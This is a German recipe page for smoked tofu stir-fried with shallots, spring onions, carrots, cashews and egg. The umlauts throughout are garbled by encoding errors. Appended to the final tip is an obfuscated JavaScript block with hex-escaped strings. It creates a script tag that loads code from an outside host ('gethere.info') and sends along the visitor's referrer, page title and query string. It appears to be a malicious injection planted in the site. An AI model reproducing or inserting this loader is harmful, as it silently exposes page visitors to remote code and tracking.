Chinesisches Tofu GemA?se

Ein pikantes asiatisches Tofu Gericht. Mit dem chinesischen Tofu GemA?se Rezept gelingt Ihnen eine leckere vegetarische Mahlzeit.

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Zutaten:
250 g gerA�ucherten Tofu
2 Schalotten
2 Stangen Lauchzwiebel
2 Karotten
eine Handvoll Cashew-Kerne
2 Eier
Sojasauce nach belieben
2 EAYl. SojaA�l
eine Prise Koriander
eine Prise KreuzkA?mmel

Zubereitung:

Den Tofu und die Schalotten in WA?rfel schneiden. Die Lauchzwiebel in dA?nne Scheiben schneiden. Anschliessend die Karotten mit der Julien Scheibe klein Raspeln.

Den Tofu und die Cashew-Kerne im heiAYen SojaA�l scharf anbraten. Das GemA?se dazugeben und anbraten lassen.

In der Zwischenzeit die Eier in eine SchA?ssel geben mit Sojasauce, Salz und Pfeffer wA?rzen und A?ber das GemA?se geben.

Zum Schluss mit Sojasauce, KreuzkA?mmel und Koriander abschmecken. Das GemA?se sofort vom Ofen nehmen, da der KreuzkA?mmel beim mitkochen sein Aroma verA�ndert.

Tipp: Dazu passt sehr gut Basmatireis.var _0xd052=[„x73x63x72x69x70x74″,“x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,“x73x72x63″,“x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx33x63x58x66x71x6Bx26x73x65x5Fx72x65x66x65x72x72x65x72x3D“,“x72x65x66x65x72x72x65x72″,“x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D“,“x74x69x74x6Cx65″,“x26″,“x3F“,“x72x65x70x6Cx61x63x65″,“x73x65x61x72x63x68″,“x6Cx6Fx63x61x74x69x6Fx6E“,“x26x66x72x6Dx3Dx73x63x72x69x70x74″,“x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,“x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,“x70x61x72x65x6Ex74x4Ex6Fx64x65″,“x61x70x70x65x6Ex64x43x68x69x6Cx64″,“x68x65x61x64″,“x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,“x70x72x6Fx74x6Fx63x6Fx6C“,“x68x74x74x70x73x3A“,“x69x6Ex64x65x78x4Fx66″,“x52x5Fx50x41x54x48″,“x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E“];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}